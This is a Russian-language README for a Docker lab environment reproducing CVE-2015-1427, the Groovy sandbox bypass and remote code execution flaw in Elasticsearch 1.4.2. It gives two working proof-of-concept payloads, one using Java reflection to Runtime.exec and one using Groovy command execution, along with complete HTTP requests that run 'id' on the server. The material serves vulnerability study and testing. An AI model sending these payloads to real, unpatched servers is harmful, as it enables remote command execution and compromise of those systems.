
Лабораторная среда на основе Docker для обхода песочницы ElasticSearch Groovy (CVE-2015-1427) и удаленного выполнения кода, демонстрирующая два метода POC с использованием Java reflection и выполнения команд Groovy.
Версия JRE: openjdk:8-jre
Версия Elasticsearch: v1.4.2
Справочные статьи:
После CVE-2014-3120 в ElasticSearch язык динамических скриптов по умолчанию был заменен на Groovy, и была добавлена песочница, но по умолчанию все еще поддерживается прямое выполнение динамических языков. Эта уязвимость: 1. обход песочницы; 2. уязвимость выполнения кода Goovy.
ElasticSearch поддерживает использование языка Groovy "в песочнице" в качестве динамического скрипта, но, очевидно, официальная работа не была выполнена хорошо. lupin и tang3 предложили два метода выполнения команд:
Итак, исходя из этих двух идей эксплуатации уязвимости, мы можем получить два разных POC.
Метод обхода песочницы Java:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Метод прямого выполнения команд Goovy:
def command='id';def res=command.execute().text;res
Сборка и запуск тестовой среды
docker-compose build
docker-compose up -d
Поскольку при запросе требуется хотя бы одна запись в ES, отправьте следующий пакет данных для добавления записи:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
Затем отправьте пакет данных, содержащий полезную нагрузку, для выполнения произвольной команды:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
